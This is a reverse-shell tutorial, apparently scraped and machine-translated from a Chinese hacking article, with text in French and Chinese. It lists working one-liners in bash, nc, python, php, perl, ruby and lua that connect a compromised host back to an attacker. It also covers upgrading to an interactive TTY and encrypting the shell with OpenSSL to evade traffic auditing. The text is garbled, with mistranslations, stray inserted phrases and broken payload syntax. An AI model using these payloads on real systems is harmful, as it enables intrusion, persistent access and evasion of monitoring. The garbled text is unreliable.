Que sont les coquillages
Shell est un terme couramment utilisé en matière de pénétration, tel que getshell, webshell, crash shell, etc., tous liés au shell.
Shell expliqué par l'Encyclopédie Baidu :
En informatique, Shell est également appelé shell (pour le distinguer du noyau), qui fait référence à « fournir une interface d'exploitation aux utilisateurs
Logiciel «face » (analyseur de commandes) Il est similaire à celui sous DOS et versions ultérieures
.cmd.exe. Il reçoit les commandes des utilisateurs puis appelle l'application correspondante.
En termes simples, les utilisateurs accèdent aux services du noyau du système d'exploitation via le shell, c'est-à-dire du shell au noyau pour exécuter les commandes système.
getshell : Obtenez l'autorisation d'exécution de commande de la cible
webshell : fait référence à la porte latérale du site Web linux kernel sprintf, qui exécute des commandes via des services Web
Dip Shell : transférez l'entrée et la sortie de la ligne de commande vers d'autres hôtes
Pourquoi devrions-nous laisser tomber la coquille
1. Il n'y a aucune interaction lors de l'exécution de commandes sous webshell Afin de faciliter le shelling ou d'autres opérations, vous devez ouvrir le shell.
2. Le shell de rebond équivaut à l'ajout d'une porte latérale lorsque le webshell est découvert et supprimé, les autorisations ne seront pas perdues.
Méthodes couramment utilisées pour planter le shell sous Linux
Utilisez la commande Whereis pour déterminer les techniques de rappel prises en charge par la cible.
whereis nc bash python php exec lua perl ruby
bash plante le shell
Le rappel Bash est la méthode la plus couramment utilisée dans les combats réels
nc -lvp 9999 bash -i >& /dev/tcp/ip/port 0>&1
Démontez la commande et analysez-la :
1. bash-i signifie ouvrir une fête localement
2. /dev/tcp/ est un périphérique spécial sous Linux Ouvrir ce fichier équivaut à émettre un appel socket et à établir une connexion socket
.3. Le fichier /dev/tcp/ip/port à côté de >& signifie rediriger la sortie standard et la sortie d'erreur standard vers ce fichier, qui consiste à la transmettre au vps distant
4. Si le vps distant ouvre le port correspondant pour écouter, il recevra la sortie standard et la sortie d'erreur standard de cette bash.
nc coque en chute libre
Nécessite que nc soit installé sur l'hôte cible
nc ip port -e /bin/sh
使用其他版本的nc
nc.traditional ip port -e /bin/sh
配合命名管线进行大跌:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc ip port >/tmp/f
python大跌shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
首先使用socket与远程构建起联接,接出来使用到了os库的dup2方式将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方式有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关掉fd2,之后将fd1代表的那种文件强行复制给fd2linux之家,在这儿可以把fd1和fd2看作是C语言里的表针,将fd1形参给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这儿也就是构建socket联接返回的文件描述符,复印下来数值为3
0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程
接出来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。
php大跌shell
须要php关掉safe_mode选项,才可以使用exec函数。
使用php的exec函数执行方式1大跌shell的命令
php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'
使用php的fsockopen去大跌shell
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i &3 2>&3");'
其它大跌方式
exec大跌
0<&196;exec 196/dev/tcp/ip/port; sh &196 2>&196
perl大跌
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby大跌
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
lua大跌
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i &3 2>&3');"
获取一个完全交互shell
通过上述命令大跌shell得到的shell并不能称为完全交互的shell,一般称之为'哑'shell。
一般存在以下缺点
因而有必要去获取一个完全交互的shell。
1、在shell中执行python,使用pty模块,创建一个原生的终端,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'
隐藏
运行完后
2、键入Ctrl-Z暂停任务,切回到VPS的命令行中;在VPS中执行:
stty raw -echo fg #将后台运行或挂起的任务切换到前台运行
3、在shell中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim编辑等功能。
reset export SHELL=bash export TERM=xterm-256color stty rows 54 columns 104
SSL流量加密
部份防护设备会对内外网传输流量进行审查,大跌shell执行命令都是以明文进行传输的linux 内核 sprintflinux 命令,很容易被查杀。
因而须要将原始流量使用openssl加密,绕开流量审计设备。
1、首先vps上生成SSL证书的私钥/公钥对,信息懒得填,仍然回车即可。
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
2、vps使用OpenSSL窃听一个端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
3、目标主机执行回调加密shell
mkfifo /tmp/s; /bin/bash -i &1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s
大跌成功,成功接收到ssl流量加密的shell。
Lien de référence
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!